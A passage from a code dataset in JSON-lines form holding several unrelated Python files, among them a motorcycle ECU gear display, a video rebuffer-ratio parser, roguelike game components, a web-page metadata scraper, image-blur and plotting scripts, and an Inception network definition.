ECUError\nfrom ctrl import IOControl, blink\nfrom uasyncio import get_event_loop, sleep_ms as d # for shorting delays: \"await uasyncio.sleep_ms(1)\" -> \"await d(1)\"\nfrom utime import ticks_diff as tdiff, ticks_ms as tms, sleep_ms as sleep_ms\nfrom pwr import deepsleep\nimport machine\n\n\n_SHIFT_LIGHT_RPM_THRESH = 8000 # >= _ rpm -> shift light (for gear 1-5)\n_SW_HOLD_THRESH = 1000 # switch held down for at least _ ms -> special mode 1 (additional _ ms -> mode 2, 3, ...)\n_SW_BL_FLASH_COUNT = 8 # flash break light _ times when pressed\n_SW_PWRUP_TIMEOUT = 7000 # switch must not be pressed at powerup. wait for at most _ ms, otherwise activate wlan\n_NET_DEFAULT_ONTIME = 30 # minutes if mode is 0; otherwise network remains active for h (BLF switch held on SD)\n_DRIVING_SPEED_THRESH = 5 # assume waiting (or revving if throttle is used) if speed <= _ km/h\n\nloop = get_event_loop()\nio = IOControl()\nUART0 = machine.UART(0, 115200) # global UART0 object, can be reinitialized, given baudrate doesn't matter\necu = CBR500Sniffer(UART0)\n\n\ndef reset_loop(): # resets the asyncio eventloop by removing all coros from run and wait queue\n try:\n while True:\n loop.runq.popleft()\n except IndexError:\n pass\n try:\n while True:\n loop.waitq.pop([0, 0, 0])\n except IndexError:\n pass\n\n\ndef show(num):\n io.oled.fill(0)\n io.oled.big(num)\n io.oled.show()\n\n\ndef debug(txt):\n while len(txt) > 12:\n debug(txt[:12])\n txt = txt[12:]\n io.oled.scroll(0, -12)\n io.oled.fill_rect(0, io.oled.h-20, io.oled.w, 20, 0)\n txt = str(txt)\n if len(txt) > 0:\n io.oled.text(txt, y=io.oled.h-20, align='c')\n io.oled.show()\n\n\nasync def task_ecu():\n errc = 0 # counter for errors in a row\n\n while True:\n for table in ecu.TABLES:\n try:\n if not ecu.ready:\n await ecu.init()\n if not ecu.ready: # timeout\n await d(5000)\n continue\n await ecu.update(table)\n io.led_b(0)\n errc = 0 # update was successful\n except ECUError:\n errc += 1\n if errc >= 5:\n blink(io.buzz, 5000)\n break\n # except Exception as ex:\n # debug(\"repr(ex)\")\n # raise ex\n await d(0)\n\n await d(50) # not too many updates per second\n\n\nasync def task_gear_indicator(): # display gear on 7-seg, runs all the time, waits while ECU not ready\n while True:\n if not ecu.ready:\n io.oled.img(\"logo\")\n io.oled.show()\n\n while not ecu.ready: # wait for ECU to be connected\n await d(500)\n while ecu.connecting:\n await blink(io.led_g, 100, 400)\n\n if not ecu.engine or ecu.rpm <= 0: # engine not running (probably parking) or just starting up\n show('-')\n elif ecu.idle or ecu.gear is None:\n if ecu.sidestand or (ecu.speed <= _DRIVING_SPEED_THRESH and ecu.tp > 0): # idling in parkmode or revving\n show(':')\n elif ecu.speed <= _DRIVING_SPEED_THRESH: # idling (not revving)\n show('N')\n else:\n await io.oled.blink(250)\n else:\n show(ecu.gear)\n if ecu.rpm > _SHIFT_LIGHT_RPM_THRESH and ecu.gear < 6:\n await blink(io.led_b, 60, 60) # shift light\n continue # skip second yield\n\n await d(0) # let ECU work\n\n\nasync def await_pwroff():\n while io.powered():\n await d(1000) # should be <= SW_HOLD_THRESH\n\n\ndef main():\n if machine.reset_cause() == machine.HARD_RESET:\n io.off()\n elif machine.reset_cause() == machine.SOFT_RESET:\n pass # impossible in this version\n else:\n if not io.powered(): # bike not powered on startup; was motion wakeup\n io.off() # nothing should be on, but ok...\n deepsleep()\n\n loop.create_task(task_ecu())\n loop.create_task(task_gear_indicator())\n loop.run_until_complete(await_pwroff()) # wait for poweroff (bike shutdown)\n\n # -> bike powered off\n io.off()\n deepsleep()\n\n\nif __name__ == '__main__':\n # dupterm(None) # disable output/input on WebREPL\n # dupterm(None, 1) # disable REPL (v1.9.4)\n\n exc = None\n try:\n main()\n except Exception as e:\n exc = e # save exception that happend in my program using UART0\n\n UART0.init(115200, bits=8, parity=None, stop=1) # so that it fits REPL again\n\n if exc is not None:\n raise exc # show the exception on REPL\n\n # dupterm(UART0) # enable WebREPL\n # dupterm(UART0, 1) # enable REPL (v1.9.4)\n","repo_name":"stecrz/MicroPython","sub_path":"honda/tests/main_gear_only.py","file_name":"main_gear_only.py","file_ext":"py","file_size_in_byte":5266,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"46106326947","text":"import os\nimport glob\nimport json\nimport sys\n\nPACKAGE_PARENT = '..'\nSCRIPT_DIR = os.path.dirname(os.path.realpath(os.path.join(os.getcwd(), os.path.expanduser(__file__))))\nsys.path.append(os.path.normpath(os.path.join(SCRIPT_DIR, PACKAGE_PARENT)))\n\nimport parse_dash_log\n\nimport argparse\n\ndef parse_rebuffer_ratio(root, links, algs, numbers):\n metrics = {}\n\n tmp = {alg: {} for alg in algs}\n\n delays = []\n\n for link in links:\n for alg in algs:\n for number in numbers:\n path = os.path.join(root, link, f'{number}_{alg}')\n metrics_pattern = os.path.join(path, 'dashjs_metrics*.json')\n metric_files = glob.glob(metrics_pattern)\n\n for metrics_path in metric_files:\n delays.append(parse_dash_log.get_delay(metrics_path) / parse_dash_log.get_playtime(metrics_path) )\n\n tmp[alg] = {\n 'Rebuffer Ratio': delays,\n }\n\n delays = []\n\n # Went through all algorithms, record stats \n metrics[link] = tmp\n tmp = {}\n\n metrics['clients'] = len(metric_files)\n\n tmp_path = os.path.join('/', 'vagrant', 'doc', 'paper', 'figures', 'tmp', str(metrics['clients']))\n os.makedirs(tmp_path, exist_ok=True)\n tmp_path = os.path.join(tmp_path, 'rebuffer_ratio.json')\n with open(tmp_path, 'w') as f:\n json.dump(metrics, f, indent=4)\n\n print(f\"Parsed data saved {tmp_path}\")\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description=\"\")\n \n parser.add_argument('--links', nargs='+', required=True)\n parser.add_argument('--algs', nargs='+', required=True)\n \n # Required for parsing the data\n parser.add_argument('--root')\n parser.add_argument('--runs', nargs='+', type=int)\n\n args = parser.parse_args()\n\n root = args.root\n links = args.links\n algs = args.algs\n numbers = args.runs\n\n parse_rebuffer_ratio(root=root, links=links, algs=algs, numbers=numbers)\n","repo_name":"glasgow-ipl/newcwv-nossdav2022","sub_path":"scripts/analytics/paper/parse_rebuffer_ratio.py","file_name":"parse_rebuffer_ratio.py","file_ext":"py","file_size_in_byte":2006,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"54"} +{"seq_id":"35931022723","text":"import libtcodpy as libtcod\nimport game\n\n############################## BASIC COMPONENTS ###############################\nCONFUSE_NUM_TURNS = 6\n\nclass Fighter:\n\tdef __init__(self, hp, dexterity, accuracy, power, xp, range, death_function=None):\n\t\tself.base_max_hp = hp\n\t\tself.hp = hp\n\t\tself.base_dexterity = dexterity\n\t\tself.base_power = power\n\t\tself.base_accuracy = accuracy\n\t\tself.xp = xp\n\t\tself.range = range\n\t\tself.death_function = death_function\n\n\t@property\n\tdef power(self):\n\t\tbonus = sum(equipment.power_bonus for equipment in self.get_all_equipped())\n\t\treturn self.base_power + bonus\n\n\t@property\n\tdef dexterity(self):\n\t\tbonus = sum(equipment.dexterity_bonus for equipment in self.get_all_equipped())\n\t\treturn self.base_dexterity + bonus\n\n\t@property\n\tdef max_hp(self):\n\t\tbonus = sum(equipment.max_hp_bonus for equipment in self.get_all_equipped())\n\t\treturn self.base_max_hp + bonus\n\n\t@property\n\tdef accuracy(self):\n\t\tbonus = sum(equipment.accuracy_bonus for equipment in self.get_all_equipped())\n\t\treturn self.base_accuracy + bonus\n\n\tdef take_damage(self, damage):\n\n\t\tif damage > 0:\n\t\t\tself.hp -= damage\n\n\t\tif self.hp <= 0:\n\t\t\tself.hp = 0\n\t\t\tfunction = self.death_function\n\t\t\tif function is not None:\n\t\t\t\tfunction(self.owner)\n\t\t\treturn self.xp\n\t\treturn 0\n\n\tdef attack(self, target):\n\t\thit = libtcod.random_get_int(0, 1, self.accuracy) > target.fighter.dexterity\n\n\t\tif hit:\n\t\t\tdamage = libtcod.random_get_int(0, self.power/2, self.power)\n\t\t\tif damage > 0:\n\t\t\t\tgame.Game.message(self.owner.name.capitalize() + ' attacks ' + target.name + ' for ' + str(damage) + ' hit points.')\n\t\t\t\tself.xp += target.fighter.take_damage(damage)\n\t\t\telse:\n\t\t\t\tgame.Game.message(self.owner.name.capitalize() + ' attacks ' + target.name + ' but it has no effect!')\n\t\telse:\n\t\t\tgame.Game.message(self.owner.name.capitalize() + ' attacks ' + target.name + ' and misses!')\n\n\n\tdef heal(self, percent):\n\t\tself.hp += int(percent * self.max_hp)\n\t\tif self.hp > self.max_hp:\n\t\t\tself.hp = self.max_hp\n\n\tdef has_max_hp(self):\n\t\treturn self.hp == self.max_hp\n\n\tdef get_all_equipped(self):\n\t\tif self.owner == game.Game.player:\n\t\t\treturn self.owner.get_all_equipped()\n\t\telse:\n\t\t\treturn []\n\nclass BasicMonster:\n\tdef __init__(self):\n\t\tself.current_path = []\n\n\tdef take_turn(self):\n\t\tmonster = self.owner\n\n\t\t#if you can't hit the player, try to move towards him\n\t\tif monster.distance_to(game.Game.player) >= 2:\n\t\t\tmonster.try_move_towards(game.Game.player)\n\n\t\telif game.Game.player.fighter.hp > 0:\n\t\t\t\tmonster.fighter.attack(game.Game.player)\n\nclass WanderingMonster:\n\tdef __init__(self):\n\t\tself.current_path = []\n\n\tdef take_turn(self):\n\t\tmonster = self.owner\n\n\t\tif monster.distance_to(game.Game.player) >= monster.fighter.range:\n\t\t\tmonster.try_move_towards(game.Game.player)\n\n\t\telif game.Game.player.fighter.hp > 0:\n\t\t\tmonster.fighter.attack(game.Game.player)\n\n\t\telif self.current_path == []:\n\t\t\tmonster.wander()\n\n\nclass ConfusedMonster:\n\tdef __init__(self, old_ai, num_turns=CONFUSE_NUM_TURNS):\n\t\tself.old_ai = old_ai\n\t\tself.num_turns = num_turns\n\n\tdef take_turn(self):\n\t\tmonster = self.owner\n\n\t\tif self.num_turns > 0:\n\t\t\tself.num_turns -= 1\n\n\t\telse:\n\t\t\tmonster.ai = self.old_ai\n\t\t\tgame.Game.message('The ' + self.owner.name + ' is no longer confused!', libtcod.red)\n\n\nclass Job:\n\tdef __init__(self, name, abilities, max_mp, mp_regen):\n\t\tself.name = name\n\t\tself.abilities = abilities\n\t\tself.mp = max_mp\n\t\tself.base_max_mp = max_mp\n\t\tself.base_mp_regen = mp_regen\n\n\tdef update(self):\n\t\tself.mp = min(self.mp + self.mp_regen, self.max_mp)\n\n\tdef has_max_mp(self):\n\t\treturn self.max_mp == self.mp\n\n\tdef regen_mana(self, percent):\n\t\tself.mp += int(percent * self.max_mp)\n\t\tif self.mp > self.max_mp:\n\t\t\tself.mp = self.max_mp\n\n\t@property\n\tdef max_mp(self):\n\t\tbonus = sum(equipment.max_mp_bonus for equipment in game.Game.player.get_all_equipped())\n\t\treturn self.base_max_mp + bonus\n\n\t@property\n\tdef mp_regen(self):\n\t\tbonus = sum(equipment.mp_regen_bonus for equipment in game.Game.player.get_all_equipped())\n\t\treturn self.base_mp_regen + bonus\n\n\nclass Item:\n\tdef __init__(self, use_function=None, range=0):\n\t\tself.use_function = use_function\n\n\tdef pick_up(self):\n\t\tif len(game.Game.player.inventory) >= 26:\n\t\t\tgame.Game.message('Your inventory is full, cannot pick up ' + self.owner.name + '.', libtcod.red)\n\t\telse:\n\t\t\tgame.Game.player.inventory.append(self.owner)\n\t\t\tgame.Game.map.remove_object(self.owner)\n\t\t\tgame.Game.message('You picked up a ' + self.owner.name + '!', libtcod.green)\n\n\t\t\tequipment = self.owner.equipment\n\t\t\tif equipment and self.owner.equipment.get_equipped_in_slot(equipment.slot) is None:\n\t\t\t\tequipment.equip()\n\n\tdef drop(self):\n\t\tif self.owner.equipment:\n\t\t\tself.owner.equipment.dequip()\n\n\t\tgame.Game.player.inventory.remove(self.owner)\n\t\tself.owner.x = game.Game.player.x\n\t\tself.owner.y = game.Game.player.y\n\t\tgame.Game.map.add_object(self.owner)\n\t\tgame.Game.message('You dropped a ' + self.owner.name + '.', libtcod.yellow)\n\n\tdef use(self):\n\t\tif self.owner.equipment:\n\t\t\tself.owner.equipment.toggle_equip()\n\t\t\treturn\n\n\t\tif self.use_function is None:\n\t\t\tgame.Game.message('The ' + self.owner.name + ' cannot be used.')\n\t\telse:\n\t\t\tif self.use_function() != 'cancelled':\n\t\t\t\tgame.Game.player.inventory.remove(self.owner)\n\n################################# ITEM FUNCTIONS ###############################\nHEAL_AMOUNT = .3\nREGEN_AMOUNT = .5\nLIGHTNING_RANGE = 5\nLIGHTNING_DAMAGE = 40\nCONFUSE_RANGE = 8\nFIREBALL_RADIUS = 3\nFIREBALL_DAMAGE = 25\n\ndef cast_heal():\n\tif game.Game.player.fighter.has_max_hp():\n\t\tgame.Game.message('You are already at full health.', libtcod.red)\n\t\treturn 'cancelled'\n\tgame.Game.message('Your wounds start to feel better!', libtcod.light_violet)\n\tgame.Game.player.fighter.heal(HEAL_AMOUNT)\n\ndef cast_restore():\n\thealth = cast_heal()\n\tmana = cast_regen_mana()\n\tif health == 'cancelled' and mana == 'cancelled':\n\t\treturn 'cancelled'\n\ndef cast_regen_mana():\n\tif game.Game.player.job.has_max_mp():\n\t\tgame.Game.message('You are already at full mana.', libtcod.red)\n\t\treturn 'cancelled'\n\tgame.Game.message('You feel invigorated!', libtcod.light_violet)\n\tgame.Game.player.job.regen_mana(REGEN_AMOUNT)\n\ndef cast_lightning():\n\tmonster = game.Game.map.closest_monster(LIGHTNING_RANGE)\n\tif monster is None:\n\t\tgame.Game.message('No enemy is close enough to strike.', libtcod.red)\n\t\treturn 'cancelled'\n\tgame.Game.message('A lightning bolt strikes the ' + monster.name + ' with a loud thunder! The damage is ' + str(LIGHTNING_DAMAGE) + ' hit points.', libtcod.light_blue)\n\tmonster.fighter.take_damage(LIGHTNING_DAMAGE)\n\ndef cast_confuse():\n\tgame.Game.message('Hit enter on an enemy to confuse it, or escape to cancel.', libtcod.light_cyan)\n\tmonster = game.Game.target_monster(CONFUSE_RANGE)\n\n\tif monster is None:\n\t\treturn 'cancelled'\n\told_ai = monster.ai\n\tmonster.ai = ConfusedMonster(old_ai)\n\tmonster.ai.owner = monster\n\tgame.Game.message('The eyes of the ' + monster.name + ' look vacant, as he starts to stumble around!', libtcod.light_green)\n\ndef cast_fireball():\n\tgame.Game.message('Hit enter on target tile for the fireball, or escape to cancel.', libtcod.light_cyan)\n\t(x, y) = game.Game.target_tile()\n\tif x is None:\n\t\treturn 'cancelled'\n\tgame.Game.message('The fireball explodes, burning everything within ' + str(FIREBALL_RADIUS) + ' tiles!', libtcod.orange)\n\n\tfor obj in game.Game.map.objects:\n\t\tif obj.distance(x, y) <= FIREBALL_RADIUS and obj.fighter:\n\t\t\tgame.Game.message('The ' + obj.name + ' gets burned for ' + str(FIREBALL_DAMAGE) + ' hit points!', libtcod.orange)\n\t\t\tobj.fighter.take_damage(FIREBALL_DAMAGE)\n\n################################# DEATH FUNCTIONS ##############################\ndef player_death(player):\n\tgame.Game.state = 'dead'\n\tgame.Game.message('You died', libtcod.red)\n\n\tplayer.char = '%'\n\tplayer.color = libtcod.dark_red\n\ndef monster_death(monster):\n\tgame.Game.message(monster.name.capitalize() + ' is dead! You gain ' + str(monster.fighter.xp) + ' experience points.', libtcod.orange)\n\n\tmonster.char = '%'\n\tmonster.color = libtcod.dark_red\n\tmonster.blocks = False\n\tmonster.fighter = None\n\tmonster.ai = None\n\tmonster.name = 'remains of ' + monster.name\n\tgame.Game.map.send_to_back(monster)\n","repo_name":"drewtorg/roguelike","sub_path":"components.py","file_name":"components.py","file_ext":"py","file_size_in_byte":8115,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"7898858276","text":"def exp_sum(n):\n # your code here\n if n < 0:\n return 0\n res = [1] + [0] * n\n\n for i in range(1, n + 1):\n for j in range(i, n + 1):\n res[j] += res[j - i]\n\n return res[-1]","repo_name":"PhilippB4/codewars","sub_path":"python/4 kyu/Explosive Sum.py","file_name":"Explosive Sum.py","file_ext":"py","file_size_in_byte":209,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"8157488200","text":"import sys\nimport os\nimport json\nfrom random import randint\nimport time\nfrom os import getenv\nfrom urllib import parse\nimport json\nimport threading\nfrom bs4 import BeautifulSoup\nimport logging\n\n\ndef get_meta(host, url, page, header, meta, authors_meta, verbose, read_from_files):\n if read_from_files == False:\n if host.find('facebook.') == 0:\n os.system(\"wget --header='Accept: text/html' --user-agent='Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3187.0 Safari/537.36' --timeout=10 --tries=3 '%s' -O %s\" % (url, page))\n else:\n os.system(\"wget -S --timeout=10 --tries=3 '%s' -O %s > %s 2>&1\" %\n (url, page, header))\n with open(header, 'r') as f:\n h = f.read()\n if h.find('Content-Encoding: gzip') != -1:\n os.system(\n \"wget --timeout=10 --tries=3 -O - --header='Accept-Encoding: gzip' '%s' | gunzip > %s\" % (url, page))\n\n charset = ''\n with open(page, 'r') as myfile:\n genre = ''\n tags = list()\n section = ''\n content_image = ''\n\n try:\n soup = BeautifulSoup(myfile, \"html.parser\")\n except:\n logging.info('failed to parse html')\n return meta\n\n if verbose:\n logging.info(soup.originalEncoding)\n html = soup.find(\"html\")\n\n if len(meta['icon']) == 0:\n icons = soup.findAll(\"link\", {\"rel\": \"icon\"})\n for i in icons:\n meta['icon'] = i.get(\"href\", '')\n break\n\n icons = soup.findAll(\"link\", {\"rel\": \"apple-touch-icon\"})\n for i in icons:\n content_image = i.get(\"href\", '')\n\n if len(content_image) == 0:\n icons = soup.findAll(\n \"link\", {\"rel\": \"apple-touch-icon-precomposed\"})\n for i in icons:\n content_image = i.get(\"href\", '')\n\n metadata = soup.findAll(\"meta\")\n\n for tag in metadata:\n property = tag.get(\"property\", '').lower()\n if property != '':\n if property == \"og:image\" and len(meta['image']) == 0:\n meta['image'] = tag.get(\"content\", '')\n elif property == \"mediator_author\" and len(meta['author']) == 0:\n meta['author'] = tag.get(\"content\", '')\n\n for tag in metadata:\n name = tag.get(\"name\", '').lower()\n itemprop = tag.get(\"itemprop\", '').lower()\n if len(meta['image']) == 0 and (name == \"twitter:image\" or itemprop == \"image\"):\n meta['image'] = tag.get(\"content\", '')\n elif name == \"genre\":\n genre = tag.get(\"content\", '')\n elif name == \"keywords\":\n tags = tags + \\\n list(set(tag.get(\"content\", '').split(',')) - set(tags))\n #tags.append(tag.get(\"content\", '').split(','))\n elif name == \"msApplication-TileImage\" and len(content_image) == 0:\n content_image = tag.get(\"content\", '')\n elif name == \"parsely-author\" or name == \"sailthru.author\":\n meta['author'] = tag.get(\"content\", '')\n elif name == \"parsely-page\":\n try:\n j = json.loads(tag.get(\"content\", ''))\n if 'title' in j:\n meta['title'] = j['title']\n if 'author' in j:\n meta['author'] = j['author']\n if 'image_url' in j:\n meta['image'] = j['image_url']\n except:\n pass\n\n if name == \"author\":\n meta['author'] = tag.get(\"content\", '')\n elif name == \"description\" or itemprop == \"description\":\n meta['description'] = tag.get(\"content\", '')\n\n if len(meta['language']) == 0 and tag.get(\"http-equiv\", '') == \"content-language\":\n meta['language'] = tag.get(\"content\", '')\n\n for tag in metadata:\n property = tag.get(\"property\", '').lower()\n if property != '':\n # or tag.get(\"itemprop\", None) == \"name\":\n if property == \"og:title\":\n meta['title'] = tag.get(\"content\", '')\n elif property == \"og:image\" and len(meta['image']) == 0:\n meta['image'] = tag.get(\"content\", '')\n elif property == \"og:description\" and len(meta['description']) == 0:\n meta['description'] = tag.get(\"content\", '')\n # elif property == \"og:type\":\n #\ttype = tag.get(\"content\", '')\n elif property == \"article:author\" and len(meta['author']) == 0:\n meta['author'] = tag.get(\"content\", '')\n elif property == \"og:locale\":\n meta['language'] = tag.get(\"content\", '')\n elif property == \"article:tag\" or property == \"og:video:tag\":\n tags = tags + \\\n list(set(tag.get(\"content\", '').split(',')) - set(tags))\n #tags.append(tag.get(\"content\", '').split(','))\n elif property == \"article:section\":\n section = tag.get(\"content\", '')\n elif property == \"twitter:author\" and len(meta['author']) == 0:\n meta['author'] = tag.get(\"content\", '')\n\n scripts = soup.findAll(\"script\", {\"type\": \"application/ld+json\"})\n for s in scripts:\n try:\n j = json.loads(s.next)\n if len(meta['title']) == 0 and 'headline' in j:\n meta['title'] = j['headline']\n if 'author' in j:\n if len(j['author']):\n meta['author'] = j['author'][0]['name']\n break\n except:\n logging.info('failed to parse %s' % name)\n\n if len(meta['title']) == 0:\n t = soup.find(\"title\")\n if t:\n meta['title'] = t.text\n\n if len(meta['image']) == 0:\n if len(content_image):\n meta['image'] = content_image\n elif len(meta['icon']) != 0:\n meta['image'] = meta['icon']\n\n if meta['image'].find('/') == 0 and meta['image'].find(\"//\") != 0:\n if host.find('.') == host.rfind('.'):\n meta['image'] = \"http://www.\" + host + meta['image']\n else:\n meta['image'] = \"http://\" + host + meta['image']\n\n if host == 'youtube.com':\n with open(page, 'r') as f:\n data = f.read().replace('\\n', '').replace(\"\\\\\", \"\")\n ap = data.find('\"author\":\"')\n if ap != -1:\n d = data[ap + 10:]\n ap_ = d.find('\"')\n if ap_ != -1 and ap_ < 200:\n meta['author'] = d[:ap_]\n\n meta['title'] = ' '.join(meta['title'].split())\n meta['author'] = ' '.join(meta['author'].split())\n meta['description'] = ' '.join(meta['description'].split())\n\n if len(meta['language']) > 2:\n meta['language'] = meta['language'][0:2]\n\n for t in tags:\n meta['tags'].append(t.strip()) # \",\".join(tags).strip().lower()\n\n if host == 'youtube.com':\n with open(page, 'r') as f:\n data = f.read().replace('\\n', '').replace(\"\\\\\", \"\")\n ap = data.find('\"author\":\"')\n if ap != -1:\n d = data[ap + 10:]\n ap_ = d.find('\"')\n if ap_ != -1 and ap_ < 200:\n meta['author'] = d[:ap_]\n if verbose:\n logging.info(\n \"youtube authour found - \" + meta['author'])\n\n meta[\"status\"] = \"ok\"\n return meta\n","repo_name":"smartlike-org/meta-extractor","sub_path":"parsers/general.py","file_name":"general.py","file_ext":"py","file_size_in_byte":7912,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"73883970401","text":"import cv2 as cv\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nimg = cv.imread(\"image/sjtu.jpg\")\n\nimg1 = cv.medianBlur(img , 5) #主要作用在椒盐噪声\n\nfig,axes = plt.subplots(nrows = 1 ,ncols = 2 ,figsize = (10,8), dpi = 100)\naxes[0].imshow(img[:,:,::-1])\naxes[0].set_title(\"Original drawing \")\naxes[1].imshow(img1[:,:,::-1])\naxes[1].set_title(\"medianBlur\")\nplt.show()","repo_name":"LMH-ironman/python-opencv","sub_path":"18 graph medianBlur.py","file_name":"18 graph medianBlur.py","file_ext":"py","file_size_in_byte":385,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"13765559847","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport networkx as nx\nimport os\nfrom inspect import stack\n\nfrom flexa.lattice import hex_lattice, hex_with_kink, \\\n hex_with_bump\nfrom flexa.FlexaSheet import FlexaSheet\nfrom flexa._utils import picklify\n\nname_to_func = {'hex': hex_lattice, 'hexbig': lambda: hex_lattice(15),\n 'kink': hex_with_kink, 'bump': hex_with_bump}\n\ndef save_folder_path(folder_name, make=True):\n f = stack()[-1].filename # filename of file save_folder_path called from\n parent_dir = os.path.dirname(os.path.realpath(f))\n path = os.path.join(parent_dir, folder_name)\n if make and not os.path.isdir(path):\n os.mkdir(path)\n return(path)\n\ndef nameroot(name, phi0, psi0, ell0, k):\n return('%s%0.2f_%0.2f_%0.2f_%d' % (name, phi0, psi0, ell0, k[2]))\n\ndef file_path(save_folder_path, name, phi0, psi0, ell0, k):\n fname = nameroot(name, phi0, psi0, ell0, k)\n fpath = os.path.join(save_folder_path, picklify(fname))\n return(fpath)\n\ndef spiral_inds(X):\n # returns indices to traverse X in spiral order\n # reverse the output of this function to start from center \n shape = np.array(X.shape)\n inds = np.zeros((X.size, 2)).astype('int')\n\n visited = np.zeros(X.shape).astype('bool')\n\n pos = np.array([0, 0]) # current position\n dir = np.array([[0, 1], [1, 0], [0, -1], [-1, 0]]) # possible directions\n dir_i = 0 # current direction\n for i in np.arange(X.size):\n inds[i, :] = pos\n visited[inds[i, 0], inds[i, 1]] = True\n\n new_pos = pos + dir[dir_i]\n if np.any(new_pos >= shape): # hit a wall\n dir_i = (dir_i + 1) % 4\n elif visited[new_pos[0], new_pos[1]]: # already encountered this index\n dir_i = (dir_i + 1) % 4\n pos += dir[dir_i]\n \n return(inds)\n\ndef bfs_inds(X):\n G = nx.grid_2d_graph(X.shape[0], X.shape[1])\n source = (round(X.shape[0] / 2), round(X.shape[1] / 2))\n return(nx.bfs_edges(G, source=source))\n\ndef meshplotter(x, y, data, path_func, title='', cbarlabel='', \n log=False, vmin=None, vmax=None):\n x_avgs = (x[:-1] + x[1:]) / 2\n x_bounds = [0, *x_avgs, x[-1] + 1]\n\n y_avgs = (y[:-1] + y[1:]) / 2\n y_bounds = [0, *y_avgs, y[-1] + 1]\n\n xbounds, ybounds = np.meshgrid(x_bounds, y_bounds)\n\n fig = plt.figure(figsize=(20,10))\n grid = plt.GridSpec(2, 4, hspace=0.2, wspace=0.2)\n\n ax = fig.add_subplot(grid[:,:2])\n\n def lognone(x):\n if x is None:\n return(None)\n else:\n return(np.log10(x))\n if log:\n data = np.log10(data)\n \n mesh = plt.pcolormesh(xbounds, ybounds, data, \n vmin=lognone(vmin), vmax=lognone(vmax))\n\n plt.title(title, fontsize=20)\n dx = x[1] - x[0]\n dy = y[1] - y[0]\n plt.xlim([x[0] - dx / 2, x[-1] + dx / 2])\n plt.ylim([y[0] - dy / 2, y[-1] + dy / 2])\n\n plt.xlabel(r'$\\phi$', fontsize=14)\n plt.ylabel(r'$\\psi$', fontsize=14)\n\n cbar = plt.colorbar()\n cbar.ax.get_yaxis().labelpad = 15\n if cbarlabel == '':\n cbarlabel = title\n\n if log:\n cbarlabel = r'$\\log_{10}$(' + cbarlabel + ')'\n cbar.set_label(cbarlabel, rotation=270, fontsize=14)\n\n X, Y = np.meshgrid(x, y)\n plt.plot(X, Y, 'k.', markersize=1)\n \n pairs = np.array([[0, -1], [-1, -1], [0, 0], [-1, 0]])\n plt.plot(x[pairs[:,0]], y[pairs[:,1]], 'wx', ms=13)\n\n for (pos, inds) in zip([[0,2],[0,3],[1,2],[1,3]], pairs):\n ax = fig.add_subplot(grid[pos[0], pos[1]], projection='3d')\n # ax.set_axis_off()\n fpath = path_func(x[inds[0]], y[inds[1]])\n s = FlexaSheet.load(fpath, silent=1)\n s.draw('3d', ax=ax)\n\n plt.title(r'$\\phi = %0.2f$, $\\psi = %0.2f$' %\n (x[inds[0]], y[inds[1]]))\n\n return mesh\n","repo_name":"adkonk/flexa","sub_path":"examples/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3758,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"27024882017","text":"from __future__ import division, print_function, absolute_import\n\nimport tflearn\nfrom tflearn.layers.core import input_data, dropout, fully_connected\nfrom tflearn.layers.conv import conv_2d, max_pool_2d, avg_pool_2d\n#from tflearn.layers.normalization import local_response_normalization\nfrom tflearn.layers.merge_ops import merge\n#from tflearn.layers.estimator import regression\nimport tensorflow as tf\nimport math\ndef sigmoid(inputs):\n output=[math.log(1+math.exp(x)) for x in inputs]\n return output\ndef inception_A(input_data):\n A_1= conv_2d(input_data, 32, 1, activation='relu', name='inception_A')\n A_2 = conv_2d(input_data, 32, 1, activation='relu', name='inception_A_1')\n A_2 = conv_2d(A_2, 32, 3, activation='relu', name='inception_A_1_3')\n A_3 = conv_2d(input_data, 32, 1, activation='relu', name='inception_A_1_3_3')\n A_3 = conv_2d(A_3, 32, 3, activation='relu', name='inception_A_1_3_3_2')\n A_3 = conv_2d(A_3, 32, 3, activation='relu', name='inception_A_1_3_3_3')\n merge = tflearn.layers.merge_ops.merge([A_1, A_2, A_3], mode='concat',\n axis=3)\n inception_A_L = conv_2d(merge, 256, 1, activation='Linear', name='inception_A_L')\n # merge inception_A1_1\n # inception_A1=tflearn.layers.merge_ops.merge([network,inception_A1_L],mode='sum',axis=1)\n inception_A = input_data + inception_A_L\n # inception_A1_out\n A_out = tf.nn.relu(inception_A)\n return A_out\n\ndef inception_B(input_data):\n\n B_1 = conv_2d(input_data, 128, 1, activation='relu', name='inception_B')\n B_2 = conv_2d(input_data, 128, 1, activation='relu', name='inception_B_1')\n B_2 = conv_2d(B_2, 128, filter_size=[1,7], activation='relu', name='inception_B_1_7_7')\n B_2 = conv_2d(B_2, 128, filter_size=[7, 1], activation='relu', name='inception_B_1_7_7')\n merge = tflearn.layers.merge_ops.merge([B_1, B_2], mode='concat',axis=3)\n B_L = conv_2d(merge, 896, 1, activation='Linear', name='inception_1_7_L')\n # merge inception_B1\n #inception_B1=tflearn.layers.merge_ops.merge([reduction_A,inception_1_7_L],mode='sum')\n inception_B = input_data + B_L\n B_out = tf.nn.relu(inception_B)\n return B_out\n\n\ndef inception_C(input_data):\n C_1 = conv_2d(input_data, 192, 1, activation='relu', name='inception_C')\n C_2 = conv_2d(input_data, 192, 1, activation='relu', name='inception_c_2')\n C_2 = conv_2d(C_2, 192, filter_size=[1,3], activation='relu', name='inception_c_2_3')\n C_2 = conv_2d(C_2, 192, filter_size=[3,1], activation='relu', name='inception_c_2_3')\n # merge inception_C1\n merge = tflearn.layers.merge_ops.merge([C_1, C_2], mode='concat',axis=3, name='merge')\n C_L = 